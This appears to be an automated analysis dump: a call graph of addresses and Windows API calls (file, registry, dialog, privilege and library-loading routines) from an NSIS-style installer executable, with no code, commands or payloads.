lstrlenA 4996->4997 4998 4021f7 4996->4998 5000 404f12 25 API calls 4997->5000 4999 404f12 25 API calls 4998->4999 5001 4021ff 4998->5001 4999->5001 5002 402240 SHFileOperationA 5000->5002 5002->4998 5002->5001 5974 4019d2 5975 402a3a 18 API calls 5974->5975 5976 4019d9 5975->5976 5977 402a3a 18 API calls 5976->5977 5978 4019e2 5977->5978 5979 4019e9 lstrcmpiA 5978->5979 5980 4019fb lstrcmpA 5978->5980 5981 4019ef 5979->5981 5980->5981 5359 402254 5360 40225b 5359->5360 5363 40226e 5359->5363 5361 405d1b 18 API calls 5360->5361 5362 402268 5361->5362 5362->5363 5364 4054ef MessageBoxIndirectA 5362->5364 5364->5363 5568 4042d5 5569 4042e5 5568->5569 5570 40430b 5568->5570 5571 403ede 19 API calls 5569->5571 5572 403f45 8 API calls 5570->5572 5574 4042f2 SetDlgItemTextA 5571->5574 5573 404317 5572->5573 5574->5570 5047 4014d6 5048 402a1d 18 API calls 5047->5048 5049 4014dc Sleep 5048->5049 5051 4028cf 5049->5051 5056 4030d9 SetErrorMode GetVersion 5057 403110 5056->5057 5058 403116 5056->5058 5059 406092 5 API calls 5057->5059 5060 406024 3 API calls 5058->5060 5059->5058 5061 40312c lstrlenA 5060->5061 5061->5058 5062 40313b 5061->5062 5063 406092 5 API calls 5062->5063 5064 403143 5063->5064 5065 406092 5 API calls 5064->5065 5066 40314a #17 OleInitialize SHGetFileInfoA 5065->5066 5144 405cf9 lstrcpynA 5066->5144 5068 403187 GetCommandLineA 5145 405cf9 lstrcpynA 5068->5145 5070 403199 GetModuleHandleA 5071 4031b0 5070->5071 5072 405796 CharNextA 5071->5072 5073 4031c4 CharNextA 5072->5073 5075 4031d4 5073->5075 5074 40329e 5076 4032b1 GetTempPathA 5074->5076 5075->5074 5075->5075 5081 405796 CharNextA 5075->5081 5085 4032a0 5075->5085 5146 4030a8 5076->5146 5078 4032c9 5079 403323 DeleteFileA 5078->5079 5080 4032cd GetWindowsDirectoryA lstrcatA 5078->5080 5156 402c66 GetTickCount GetModuleFileNameA 5079->5156 5082 4030a8 12 API calls 5080->5082 5081->5075 5084 4032e9 5082->5084 5084->5079 5087 4032ed GetTempPathA lstrcatA SetEnvironmentVariableA SetEnvironmentVariableA 5084->5087 5240 405cf9 lstrcpynA 5085->5240 5086 403337 5088 4033cd 5086->5088 5091 4033bd 5086->5091 5095 405796 CharNextA 5086->5095 5090 4030a8 12 API calls 5087->5090 5243 40359f 5088->5243 5093 40331b 5090->5093 5184 403679 5091->5184 5093->5079 5093->5088 5097 403352 5095->5097 5105 403398 5097->5105 5106 4033fd 5097->5106 5098 403505 5101 403587 ExitProcess 5098->5101 5102 40350d GetCurrentProcess OpenProcessToken 5098->5102 5099 4033e7 5100 4054ef MessageBoxIndirectA 5099->5100 5104 4033f5 ExitProcess 5100->5104 5107 403558 5102->5107 5108 403528 LookupPrivilegeValueA AdjustTokenPrivileges 5102->5108 5109 405859 18 API calls 5105->5109 5110 405472 5 API calls 5106->5110 5111 406092 5 API calls 5107->5111 5108->5107 5112 4033a3 5109->5112 5113 403402 lstrcatA 5110->5113 5114 40355f 5111->5114 5112->5088 5241 405cf9 lstrcpynA 5112->5241 5115 403413 lstrcatA 5113->5115 5116 40341e lstrcatA lstrcmpiA 5113->5116 5117 403574 ExitWindowsEx 5114->5117 5120 403580 5114->5120 5115->5116 5116->5088 5119 40343a 5116->5119 5117->5101 5117->5120 5122 403446 5119->5122 5123 40343f 5119->5123 5124 40140b 2 API calls 5120->5124 5121 4033b2 5242 405cf9 lstrcpynA 5121->5242 5127 405455 2 API calls 5122->5127 5126 4053d8 4 API calls 5123->5126 5124->5101 5128 403444 5126->5128 5129 40344b SetCurrentDirectoryA 5127->5129 5128->5129 5130 403465 5129->5130 5131 40345a 5129->5131 5251 405cf9 lstrcpynA 5130->5251 5250 405cf9 lstrcpynA 5131->5250 5134 405d1b 18 API calls 5135 4034a4 DeleteFileA 5134->5135 5136 4034b1 CopyFileA 5135->5136 5141 403473 5135->5141 5136->5141 5137 4034f9 5138 405bb4 38 API calls 5137->5138 5138->5088 5139 405bb4 38 API calls 5139->5141 5140 405d1b 18 API calls 5140->5141 5141->5134 5141->5137 5141->5139 5141->5140 5142 40548a 2 API calls 5141->5142 5143 4034e5 CloseHandle 5141->5143 5142->5141 5143->5141 5144->5068 5145->5070 5147 405f64 5 API calls 5146->5147 5148 4030b4 5147->5148 5149 4030be 5148->5149 5150 40576b 3 API calls 5148->5150 5149->5078 5151 4030c6 5150->5151 5152 405455 2 API calls 5151->5152 5153 4030cc 5152->5153 5252 40599b 5153->5252 5256 40596c GetFileAttributesA CreateFileA 5156->5256 5158 402ca6 5177 402cb6 5158->5177 5257 405cf9 lstrcpynA 5158->5257 5160 402ccc 5161 4057b2 2 API calls 5160->5161 5162 402cd2 5161->5162 5258 405cf9 lstrcpynA 5162->5258 5164 402cdd GetFileSize 5165 402dd9 5164->5165 5183 402cf4 5164->5183 5259 402c02 5165->5259 5167 402de2 5169 402e12 GlobalAlloc 5167->5169 5167->5177 5271 403091 SetFilePointer 5167->5271 5168 40307b ReadFile 5168->5183 5270 403091 SetFilePointer 5169->5270 5172 402e45 5174 402c02 6 API calls 5172->5174 5173 402e2d 5176 402e9f 36 API calls 5173->5176 5174->5177 5175 402dfb 5178 40307b ReadFile 5175->5178 5181 402e39 5176->5181 5177->5086 5179 402e06 5178->5179 5179->5169 5179->5177 5180 402c02 6 API calls 5180->5183 5181->5177 5181->5181 5182 402e76 SetFilePointer 5181->5182 5182->5177 5183->5165 5183->5168 5183->5172 5183->5177 5183->5180 5185 406092 5 API calls 5184->5185 5186 40368d 5185->5186 5187 403693 GetUserDefaultUILanguage 5186->5187 5188 4036a5 5186->5188 5272 405c57 wsprintfA 5187->5272 5190 405be0 3 API calls 5188->5190 5192 4036d0 5190->5192 5191 4036a3 5273 40393e 5191->5273 5193 4036ee lstrcatA 5192->5193 5195 405be0 3 API calls 5192->5195 5193->5191 5195->5193 5197 405859 18 API calls 5198 403720 5197->5198 5199 4037a9 5198->5199 5201 405be0 3 API calls 5198->5201 5200 405859 18 API calls 5199->5200 5202 4037af 5200->5202 5203 40374c 5201->5203 5204 4037bf LoadImageA 5202->5204 5205 405d1b 18 API calls 5202->5205 5203->5199 5209 403768 lstrlenA 5203->5209 5212 405796 CharNextA 5203->5212 5206 403865 5204->5206 5207 4037e6 RegisterClassA 5204->5207 5205->5204 5208 40140b 2 API calls 5206->5208 5210 40381c SystemParametersInfoA CreateWindowExA 5207->5210 5239 40386f 5207->5239 5211 40386b 5208->5211 5213 403776 lstrcmpiA 5209->5213 5214 40379c 5209->5214 5210->5206 5219 40393e 19 API calls 5211->5219 5211->5239 5217 403766 5212->5217 5213->5214 5215 403786 GetFileAttributesA 5213->5215 5216 40576b 3 API calls 5214->5216 5218 403792 5215->5218 5220 4037a2 5216->5220 5217->5209 5218->5214 5221 4057b2 2 API calls 5218->5221 5222 40387c 5219->5222 5282 405cf9 lstrcpynA 5220->5282 5221->5214 5224 403888 ShowWindow 5222->5224 5225 40390b 5222->5225 5227 406024 3 API calls 5224->5227 5226 404fe4 5 API calls 5225->5226 5228 403911 5226->5228 5229 4038a0 5227->5229 5230 403915 5228->5230 5231 40392d 5228->5231 5232 4038ae GetClassInfoA 5229->5232 5234 406024 3 API calls 5229->5234 5237 40140b 2 API calls 5230->5237 5230->5239 5233 40140b 2 API calls 5231->5233 5235 4038c2 GetClassInfoA RegisterClassA 5232->5235 5236 4038d8 DialogBoxParamA 5232->5236 5233->5239 5234->5232 5235->5236 5238 40140b 2 API calls 5236->5238 5237->5239 5238->5239 5239->5088 5240->5076 5241->5121 5242->5091 5244 4035b7 5243->5244 5245 4035a9 CloseHandle 5243->5245 5284 4035e4 5244->5284 5245->5244 5248 40559b 69 API calls 5249 4033d6 OleUninitialize 5248->5249 5249->5098 5249->5099 5250->5130 5251->5141 5253 4059a6 GetTickCount GetTempFileNameA 5252->5253 5254 4030d7 5253->5254 5255 4059d3 5253->5255 5254->5078 5255->5253 5255->5254 5256->5158 5257->5160 5258->5164 5260 402c23 5259->5260 5261 402c0b 5259->5261 5264 402c33 GetTickCount 5260->5264 5265 402c2b 5260->5265 5262 402c14 DestroyWindow 5261->5262 5263 402c1b 5261->5263 5262->5263 5263->5167 5267 402c41 CreateDialogParamA ShowWindow 5264->5267 5268 402c64 5264->5268 5266 4060ce 2 API calls 5265->5266 5269 402c31 5266->5269 5267->5268 5268->5167 5269->5167 5270->5173 5271->5175 5272->5191 5274 403952 5273->5274 5283 405c57 wsprintfA 5274->5283 5276 4039c3 5277 405d1b 18 API calls 5276->5277 5278 4039cf SetWindowTextA 5277->5278 5279 4036fe 5278->5279 5280 4039eb 5278->5280 5279->5197 5280->5279 5281 405d1b 18 API calls 5280->5281 5281->5280 5282->5199 5283->5276 5285 4035f2 5284->5285 5286 4035f7 FreeLibrary GlobalFree 5285->5286 5287 4035bc 5285->5287 5286->5286 5286->5287 5287->5248 5365 1000161a 5366 10001649 5365->5366 5367 10001a5d 18 API calls 5366->5367 5368 10001650 5367->5368 5369 10001663 5368->5369 5370 10001657 5368->5370 5372 1000168a 5369->5372 5373 1000166d 5369->5373 5371 10001266 2 API calls 5370->5371 5376 10001661 5371->5376 5374 10001690 5372->5374 5375 100016b4 5372->5375 5377 100014e2 3 API calls 5373->5377 5378 10001559 3 API calls 5374->5378 5379 100014e2 3 API calls 5375->5379 5380 10001672 5377->5380 5381 10001695 5378->5381 5379->5376 5382 10001559 3 API calls 5380->5382 5383 10001266 2 API calls 5381->5383 5384 10001678 5382->5384 5385 1000169b GlobalFree 5383->5385 5386 10001266 2 API calls 5384->5386 5385->5376 5388 100016af GlobalFree 5385->5388 5387 1000167e GlobalFree 5386->5387 5387->5376 5388->5376 5288 40155b 5289 401577 ShowWindow 5288->5289 5290 40157e 5288->5290 5289->5290 5291 40158c ShowWindow 5290->5291 5292 4028cf 5290->5292 5291->5292 5293 40255c 5294 402a1d 18 API calls 5293->5294 5295 402566 5294->5295 5296 4059e4 ReadFile 5295->5296 5297 4025d2 5295->5297 5300 4025e2 5295->5300 5301 4025d0 5295->5301 5296->5295 5302 405c57 wsprintfA 5297->5302 5299 4025f8 SetFilePointer 5299->5301 5300->5299 5300->5301 5302->5301 5389 40205e 5390 402a3a 18 API calls 5389->5390 5391 402065 5390->5391 5392 402a3a 18 API calls 5391->5392 5393 40206f 5392->5393 5394 402a3a 18 API calls 5393->5394 5395 402079 5394->5395 5396 402a3a 18 API calls 5395->5396 5397 402083 5396->5397 5398 402a3a 18 API calls 5397->5398 5399 40208d 5398->5399 5400 4020cc CoCreateInstance 5399->5400 5401 402a3a 18 API calls 5399->5401 5404 4020eb 5400->5404 5406 402193 5400->5406 5401->5400 5402 401423 25 API calls 5403 4021c9 5402->5403 5405 402173 MultiByteToWideChar 5404->5405 5404->5406 5405->5406 5406->5402 5406->5403 5407 40265e 5408 402664 5407->5408 5409 402668 FindNextFileA 5408->5409 5412 40267a 5408->5412 5410 4026b9 5409->5410 5409->5412 5413 405cf9 lstrcpynA 5410->5413 5413->5412 5575 401cde GetDlgItem GetClientRect 5576 402a3a 18 API calls 5575->5576 5577 401d0e LoadImageA SendMessageA 5576->5577 5578 401d2c DeleteObject 5577->5578 5579 4028cf 5577->5579 5578->5579 5414 401662 5415 402a3a 18 API calls 5414->5415 5416 401669 5415->5416 5417 402a3a 18 API calls 5416->5417 5418 401672 5417->5418 5419 402a3a 18 API calls 5418->5419 5420 40167b MoveFileA 5419->5420 5421 40168e 5420->5421 5427 401687 5420->5427 5423 405ffd 2 API calls 5421->5423 5425 4021c9 5421->5425 5422 401423 25 API calls 5422->5425 5424 40169d 5423->5424 5424->5425 5426 405bb4 38 API calls 5424->5426 5426->5427 5427->5422 4374 402364 4375 40236a 4374->4375 4376 402a3a 18 API calls 4375->4376 4377 40237c 4376->4377 4378 402a3a 18 API calls 4377->4378 4379 402386 RegCreateKeyExA 4378->4379 4380 4026a6 4379->4380 4382 4023b0 4379->4382 4381 4023c8 4384 4023d4 4381->4384 4386 402a1d 18 API calls 4381->4386 4382->4381 4383 402a3a 18 API calls 4382->4383 4385 4023c1 lstrlenA 4383->4385 4387 4023ef RegSetValueExA 4384->4387 4391 402e9f 4384->4391 4385->4381 4386->4384 4389 402405 RegCloseKey 4387->4389 4389->4380 4393 402eb5 4391->4393 4392 402ee0 4412 40307b 4392->4412 4393->4392 4424 403091 SetFilePointer 4393->4424 4397 40301b 4399 40301f 4397->4399 4403 403037 4397->4403 4398 402efd GetTickCount 4410 402f10 4398->4410 4401 40307b ReadFile 4399->4401 4400 403005 4400->4387 4401->4400 4402 40307b ReadFile 4402->4403 4403->4400 4403->4402 4405 405a13 WriteFile 4403->4405 4404 40307b ReadFile 4404->4410 4405->4403 4407 402f76 GetTickCount 4407->4410 4408 402f9f MulDiv wsprintfA 4409 404f12 25 API calls 4408->4409 4409->4410 4410->4400 4410->4404 4410->4407 4410->4408 4415 406195 4410->4415 4422 405a13 WriteFile 4410->4422 4425 4059e4 ReadFile 4412->4425 4416 4061ba 4415->4416 4417 4061c2 4415->4417 4416->4410 4417->4416 4418 406252 GlobalAlloc 4417->4418 4419 406249 GlobalFree 4417->4419 4420 4062c0 GlobalFree 4417->4420 4421 4062c9 GlobalAlloc 4417->4421 4418->4416 4418->4417 4419->4418 4420->4421 4421->4416 4421->4417 4423 405a31 4422->4423 4423->4410 4424->4392 4426 402eeb 4425->4426 4426->4397 4426->4398 4426->4400 5989 401dea 5990 402a3a 18 API calls 5989->5990 5991 401df0 5990->5991 5992 402a3a 18 API calls 5991->5992 5993 401df9 5992->5993 5994 402a3a 18 API calls 5993->5994 5995 401e02 5994->5995 5996 402a3a 18 API calls 5995->5996 5997 401e0b 5996->5997 5998 401423 25 API calls 5997->5998 5999 401e12 ShellExecuteA 5998->5999 6000 401e3f 5999->6000 5428 40466d 5429 404699 5428->5429 5430 40467d 5428->5430 5432 4046cc 5429->5432 5433 40469f SHGetPathFromIDListA 5429->5433 5439 4054d3 GetDlgItemTextA 5430->5439 5434 4046b6 SendMessageA 5433->5434 5435 4046af 5433->5435 5434->5432 5437 40140b 2 API calls 5435->5437 5436 40468a SendMessageA 5436->5429 5437->5434 5439->5436 5580 401eee 5581 402a3a 18 API calls 5580->5581 5582 401ef5 5581->5582 5583 406092 5 API calls 5582->5583 5584 401f04 5583->5584 5585 401f1c GlobalAlloc 5584->5585 5588 401f84 5584->5588 5586 401f30 5585->5586 5585->5588 5587 406092 5 API calls 5586->5587 5589 401f37 5587->5589 5590 406092 5 API calls 5589->5590 5591 401f41 5590->5591 5591->5588 5595 405c57 wsprintfA 5591->5595 5593 401f78 5596 405c57 wsprintfA 5593->5596 5595->5593 5596->5588 5597 4014f0 SetForegroundWindow 5598 4028cf 5597->5598 6001 403ff2 lstrcpynA lstrlenA 6002 100015b3 6003 100014bb GlobalFree 6002->6003 6005 100015cb 6003->6005 6004 10001611 GlobalFree 6005->6004 6006 100015e6 6005->6006 6007 100015fd VirtualFree 6005->6007 6006->6004 6007->6004 5599 4018f5 5600 40192c 5599->5600 5601 402a3a 18 API calls 5600->5601 5602 401931 5601->5602 5603 40559b 69 API calls 5602->5603 5604 40193a 5603->5604 5605 4024f7 5606 402a3a 18 API calls 5605->5606 5607 4024fe 5606->5607 5610 40596c GetFileAttributesA CreateFileA 5607->5610 5609 40250a 5610->5609 5611 4018f8 5612 402a3a 18 API calls 5611->5612 5613 4018ff 5612->5613 5614 4054ef MessageBoxIndirectA 5613->5614 5615 401908 5614->5615 5445 1000103d 5446 1000101b 5 API calls 5445->5446 5447 10001056 5446->5447 5616 4014fe 5617 401506 5616->5617 5619 401519 5616->5619 5618 402a1d 18 API calls 5617->5618 5618->5619 5818 402b7f 5819 402b8e SetTimer 5818->5819 5822 402ba7 5818->5822 5819->5822 5820 402bfc 5821 402bc1 MulDiv wsprintfA SetWindowTextA SetDlgItemTextA 5821->5820 5822->5820 5822->5821 5448 401000 5449 401037 BeginPaint GetClientRect 5448->5449 5450 40100c DefWindowProcA 5448->5450 5452 4010f3 5449->5452 5453 401179 5450->5453 5454 401073 CreateBrushIndirect FillRect DeleteObject 5452->5454 5455 4010fc 5452->5455 5454->5452 5456 401102 CreateFontIndirectA 5455->5456 5457 401167 EndPaint 5455->5457 5456->5457 5458 401112 6 API calls 5456->5458 5457->5453 5458->5457 4266 402482 4277 402b44 4266->4277 4268 40248c 4281 402a1d 4268->4281 4270 402495 4271 40249f 4270->4271 4272 4026a6 4270->4272 4273 4024b8 RegEnumValueA 4271->4273 4274 4024ac RegEnumKeyA 4271->4274 4273->4272 4275 4024d1 RegCloseKey 4273->4275 4274->4275 4275->4272 4284 402a3a 4277->4284 4279 402b5d 4280 402b6b RegOpenKeyExA 4279->4280 4280->4268 4282 405d1b 18 API calls 4281->4282 4283 402a31 4282->4283 4283->4270 4285 402a46 4284->4285 4290 405d1b 4285->4290 4288 402a73 4288->4279 4296 405d28 4290->4296 4291 405f4b 4292 402a67 4291->4292 4324 405cf9 lstrcpynA 4291->4324 4292->4288 4308 405f64 4292->4308 4294 405dc9 GetVersion 4294->4296 4295 405f22 lstrlenA 4295->4296 4296->4291 4296->4294 4296->4295 4297 405d1b 10 API calls 4296->4297 4300 405e41 GetSystemDirectoryA 4296->4300 4302 405e54 GetWindowsDirectoryA 4296->4302 4303 405f64 5 API calls 4296->4303 4304 405d1b 10 API calls 4296->4304 4305 405ecb lstrcatA 4296->4305 4306 405e88 SHGetSpecialFolderLocation 4296->4306 4317 405be0 RegOpenKeyExA 4296->4317 4322 405c57 wsprintfA 4296->4322 4323 405cf9 lstrcpynA 4296->4323 4297->4295 4300->4296 4302->4296 4303->4296 4304->4296 4305->4296 4306->4296 4307 405ea0 SHGetPathFromIDListA CoTaskMemFree 4306->4307 4307->4296 4309 405f70 4308->4309 4311 405fcd CharNextA 4309->4311 4312 405fd8 4309->4312 4315 405fbb CharNextA 4309->4315 4316 405fc8 CharNextA 4309->4316 4325 405796 4309->4325 4310 405fdc CharPrevA 4310->4312 4311->4309 4311->4312 4312->4310 4313 405ff7 4312->4313 4313->4288 4315->4309 4316->4311 4318 405c51 4317->4318 4319 405c13 RegQueryValueExA 4317->4319 4318->4296 4321 405c34 RegCloseKey 4319->4321 4321->4318 4322->4296 4323->4296 4324->4292 4326 40579c 4325->4326 4327 4057af 4326->4327 4328 4057a2 CharNextA 4326->4328 4327->4309 4328->4326 5830 401b02 5831 402a3a 18 API calls 5830->5831 5832 401b09 5831->5832 5833 402a1d 18 API calls 5832->5833 5834 401b12 wsprintfA 5833->5834 5835 4028cf 5834->5835 4329 402283 4330 402291 4329->4330 4331 40228b 4329->4331 4333 402a3a 18 API calls 4330->4333 4334 4022a1 4330->4334 4332 402a3a 18 API calls 4331->4332 4332->4330 4333->4334 4335 402a3a 18 API calls 4334->4335 4337 4022af 4334->4337 4335->4337 4336 402a3a 18 API calls 4338 4022b8 WritePrivateProfileStringA 4336->4338 4337->4336 5459 401a03 5460 402a3a 18 API calls 5459->5460 5461 401a0c ExpandEnvironmentStringsA 5460->5461 5462 401a20 5461->5462 5464 401a33 5461->5464 5463 401a25 lstrcmpA 5462->5463 5462->5464 5463->5464 6008 100029c3 6009 100029db 6008->6009 6010 10001534 2 API calls 6009->6010 6011 100029f6 6010->6011 5620 404e86 5621 404e96 5620->5621 5622 404eaa 5620->5622 5623 404e9c 5621->5623 5632 404ef3 5621->5632 5624 404eb2 IsWindowVisible 5622->5624 5628 404ec9 5622->5628 5626 403f2a SendMessageA 5623->5626 5627 404ebf 5624->5627 5624->5632 5625 404ef8 CallWindowProcA 5629 404ea6 5625->5629 5626->5629 5633 4047dd SendMessageA 5627->5633 5628->5625 5638 40485d 5628->5638 5632->5625 5634 404800 GetMessagePos ScreenToClient SendMessageA 5633->5634 5635 40483c SendMessageA 5633->5635 5636 404834 5634->5636 5637 404839 5634->5637 5635->5636 5636->5628 5637->5635 5647 405cf9 lstrcpynA 5638->5647 5640 404870 5648 405c57 wsprintfA 5640->5648 5642 40487a 5643 40140b 2 API calls 5642->5643 5644 404883 5643->5644 5649 405cf9 lstrcpynA 5644->5649 5646 40488a 5646->5632 5647->5640 5648->5642 5649->5646 4427 402308 4428 402338 4427->4428 4429 40230d 4427->4429 4431 402a3a 18 API calls 4428->4431 4430 402b44 19 API calls 4429->4430 4432 402314 4430->4432 4433 40233f 4431->4433 4434 40231e 4432->4434 4438 402355 4432->4438 4439 402a7a RegOpenKeyExA 4433->4439 4435 402a3a 18 API calls 4434->4435 4436 402325 RegDeleteValueA RegCloseKey 4435->4436 4436->4438 4440 402b0e 4439->4440 4444 402aa5 4439->4444 4440->4438 4441 402acb RegEnumKeyA 4442 402add RegCloseKey 4441->4442 4441->4444 4450 406092 GetModuleHandleA 4442->4450 4443 402b02 RegCloseKey 4448 402af1 4443->4448 4444->4441 4444->4442 4444->4443 4446 402a7a 5 API calls 4444->4446 4446->4444 4448->4440 4449 402b1d RegDeleteKeyA 4449->4448 4451 4060b8 GetProcAddress 4450->4451 4452 4060ae 4450->4452 4454 402aed 4451->4454 4456 406024 GetSystemDirectoryA 4452->4456 4454->4448 4454->4449 4455 4060b4 4455->4451 4455->4454 4457 406046 wsprintfA LoadLibraryExA 4456->4457 4457->4455 5650 402688 5651 402a3a 18 API calls 5650->5651 5652 40268f FindFirstFileA 5651->5652 5653 4026b2 5652->5653 5657 4026a2 5652->5657 5655 4026b9 5653->5655 5658 405c57 wsprintfA 5653->5658 5659 405cf9 lstrcpynA 5655->5659 5658->5655 5659->5657 5660 401c8a 5661 402a1d 18 API calls 5660->5661 5662 401c90 IsWindow 5661->5662 5663 4019f3 5662->5663 4588 403a0b 4589 403a23 4588->4589 4590 403b5e 4588->4590 4589->4590 4591 403a2f 4589->4591 4592 403baf 4590->4592 4593 403b6f GetDlgItem GetDlgItem 4590->4593 4595 403a3a SetWindowPos 4591->4595 4596 403a4d 4591->4596 4594 403c09 4592->4594 4605 401389 2 API calls 4592->4605 4597 403ede 19 API calls 4593->4597 4619 403b59 4594->4619 4658 403f2a 4594->4658 4595->4596 4600 403a52 ShowWindow 4596->4600 4601 403a6a 4596->4601 4598 403b99 SetClassLongA 4597->4598 4602 40140b 2 API calls 4598->4602 4600->4601 4603 403a72 DestroyWindow 4601->4603 4604 403a8c 4601->4604 4602->4592 4657 403e67 4603->4657 4606 403a91 SetWindowLongA 4604->4606 4607 403aa2 4604->4607 4608 403be1 4605->4608 4606->4619 4610 403b4b 4607->4610 4611 403aae GetDlgItem 4607->4611 4608->4594 4612 403be5 SendMessageA 4608->4612 4609 403e69 DestroyWindow EndDialog 4609->4657 4677 403f45 4610->4677 4614 403ac1 SendMessageA IsWindowEnabled 4611->4614 4615 403ade 4611->4615 4612->4619 4613 40140b 2 API calls 4625 403c1b 4613->4625 4614->4615 4614->4619 4620 403aeb 4615->4620 4622 403b32 SendMessageA 4615->4622 4623 403afe 4615->4623 4631 403ae3 4615->4631 4617 403e98 ShowWindow 4617->4619 4618 405d1b 18 API calls 4618->4625 4620->4622 4620->4631 4622->4610 4626 403b06 4623->4626 4627 403b1b 4623->4627 4624 403b19 4624->4610 4625->4609 4625->4613 4625->4618 4625->4619 4628 403ede 19 API calls 4625->4628 4648 403da9 DestroyWindow 4625->4648 4661 403ede 4625->4661 4671 40140b 4626->4671 4629 40140b 2 API calls 4627->4629 4628->4625 4632 403b22 4629->4632 4674 403eb7 4631->4674 4632->4610 4632->4631 4634 403c96 GetDlgItem 4635 403cb3 ShowWindow KiUserCallbackDispatcher 4634->4635 4636 403cab 4634->4636 4664 403f00 KiUserCallbackDispatcher 4635->4664 4636->4635 4638 403cdd EnableWindow 4641 403cf1 4638->4641 4639 403cf6 GetSystemMenu EnableMenuItem SendMessageA 4640 403d26 SendMessageA 4639->4640 4639->4641 4640->4641 4641->4639 4665 403f13 SendMessageA 4641->4665 4666 405cf9 lstrcpynA 4641->4666 4644 403d54 lstrlenA 4645 405d1b 18 API calls 4644->4645 4646 403d65 SetWindowTextA 4645->4646 4667 401389 4646->4667 4649 403dc3 CreateDialogParamA 4648->4649 4648->4657 4650 403df6 4649->4650 4649->4657 4651 403ede 19 API calls 4650->4651 4652 403e01 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4651->4652 4653 401389 2 API calls 4652->4653 4654 403e47 4653->4654 4654->4619 4655 403e4f ShowWindow 4654->4655 4656 403f2a SendMessageA 4655->4656 4656->4657 4657->4617 4657->4619 4659 403f42 4658->4659 4660 403f33 SendMessageA 4658->4660 4659->4625 4660->4659 4662 405d1b 18 API calls 4661->4662 4663 403ee9 SetDlgItemTextA 4662->4663 4663->4634 4664->4638 4665->4641 4666->4644 4669 401390 4667->4669 4668 4013fe 4668->4625 4669->4668 4670 4013cb MulDiv SendMessageA 4669->4670 4670->4669 4672 401389 2 API calls 4671->4672 4673 401420 4672->4673 4673->4631 4675 403ec4 SendMessageA 4674->4675 4676 403ebe 4674->4676 4675->4624 4676->4675 4678 403f5d GetWindowLongA 4677->4678 4688 403fe6 4677->4688 4679 403f6e 4678->4679 4678->4688 4680 403f80 4679->4680 4681 403f7d GetSysColor 4679->4681 4682 403f90 SetBkMode 4680->4682 4683 403f86 SetTextColor 4680->4683 4681->4680 4684 403fa8 GetSysColor 4682->4684 4685 403fae 4682->4685 4683->4682 4684->4685 4686 403fb5 SetBkColor 4685->4686 4687 403fbf 4685->4687 4686->4687 4687->4688 4689 403fd2 DeleteObject 4687->4689 4690 403fd9 CreateBrushIndirect 4687->4690 4688->4619 4689->4690 4690->4688 5664 40488f GetDlgItem GetDlgItem 5665 4048e1 7 API calls 5664->5665 5672 404af9 5664->5672 5666 404984 DeleteObject 5665->5666 5667 404977 SendMessageA 5665->5667 5668 40498d 5666->5668 5667->5666 5670 4049c4 5668->5670 5671 405d1b 18 API calls 5668->5671 5669 404bdd 5674 404c89 5669->5674 5683 404c36 SendMessageA 5669->5683 5707 404aec 5669->5707 5673 403ede 19 API calls 5670->5673 5675 4049a6 SendMessageA SendMessageA 5671->5675 5672->5669 5681 4047dd 5 API calls 5672->5681 5699 404b6a 5672->5699 5678 4049d8 5673->5678 5676 404c93 SendMessageA 5674->5676 5677 404c9b 5674->5677 5675->5668 5676->5677 5686 404cb4 5677->5686 5687 404cad ImageList_Destroy 5677->5687 5691 404cc4 5677->5691 5682 403ede 19 API calls 5678->5682 5679 403f45 8 API calls 5685 404e7f 5679->5685 5680 404bcf SendMessageA 5680->5669 5681->5699 5698 4049e6 5682->5698 5684 404c4b SendMessageA 5683->5684 5683->5707 5692 404c5e 5684->5692 5689 404cbd GlobalFree 5686->5689 5686->5691 5687->5686 5688 404e33 5693 404e45 ShowWindow GetDlgItem ShowWindow 5688->5693 5688->5707 5689->5691 5690 404aba GetWindowLongA SetWindowLongA 5694 404ad3 5690->5694 5691->5688 5706 40485d 4 API calls 5691->5706 5711 404cff 5691->5711 5700 404c6f SendMessageA 5692->5700 5693->5707 5695 404af1 5694->5695 5696 404ad9 ShowWindow 5694->5696 5716 403f13 SendMessageA 5695->5716 5715 403f13 SendMessageA 5696->5715 5697 404a35 SendMessageA 5697->5698 5698->5690 5698->5697 5701 404ab4 5698->5701 5704 404a71 SendMessageA 5698->5704 5705 404a82 SendMessageA 5698->5705 5699->5669 5699->5680 5700->5674 5701->5690 5701->5694 5704->5698 5705->5698 5706->5711 5707->5679 5708 404e09 InvalidateRect 5708->5688 5709 404e1f 5708->5709 5717 404798 5709->5717 5710 404d2d SendMessageA 5714 404d43 5710->5714 5711->5710 5711->5714 5713 404db7 SendMessageA SendMessageA 5713->5714 5714->5708 5714->5713 5715->5707 5716->5672 5720 4046d3 5717->5720 5719 4047ad 5719->5688 5721 4046e9 5720->5721 5722 405d1b 18 API calls 5721->5722 5723 40474d 5722->5723 5724 405d1b 18 API calls 5723->5724 5725 404758 5724->5725 5726 405d1b 18 API calls 5725->5726 5727 40476e lstrlenA wsprintfA SetDlgItemTextA 5726->5727 5727->5719 4750 402410 4751 402b44 19 API calls 4750->4751 4752 40241a 4751->4752 4753 402a3a 18 API calls 4752->4753 4754 402423 4753->4754 4755 40242d RegQueryValueExA 4754->4755 4759 4026a6 4754->4759 4756 402453 RegCloseKey 4755->4756 4757 40244d 4755->4757 4756->4759 4757->4756 4761 405c57 wsprintfA 4757->4761 4761->4756 4762 401f90 4763 401fa2 4762->4763 4764 402050 4762->4764 4765 402a3a 18 API calls 4763->4765 4767 401423 25 API calls 4764->4767 4766 401fa9 4765->4766 4768 402a3a 18 API calls 4766->4768 4773 4021c9 4767->4773 4769 401fb2 4768->4769 4770 401fc7 LoadLibraryExA 4769->4770 4771 401fba GetModuleHandleA 4769->4771 4770->4764 4772 401fd7 GetProcAddress 4770->4772 4771->4770 4771->4772 4774 402023 4772->4774 4775 401fe6 4772->4775 4776 404f12 25 API calls 4774->4776 4777 402005 4775->4777 4778 401fee 4775->4778 4779 401ff6 4776->4779 4783 100016bd 4777->4783 4825 401423 4778->4825 4779->4773 4781 402044 FreeLibrary 4779->4781 4781->4773 4784 100016ed 4783->4784 4828 10001a5d 4784->4828 4786 100016f4 4787 1000180a 4786->4787 4788 10001705 4786->4788 4789 1000170c 4786->4789 4787->4779 4877 100021b0 4788->4877 4860 100021fa 4789->4860 4794 10001731 4795 10001770 4794->4795 4796 10001752 4794->4796 4800 100017b2 4795->4800 4801 10001776 4795->4801 4890 100023da 4796->4890 4798 10001722 4799 10001728 4798->4799 4805 10001733 4798->4805 4799->4794 4871 100027e8 4799->4871 4803 100023da 11 API calls 4800->4803 4807 10001559 3 API calls 4801->4807 4802 1000173b 4802->4794 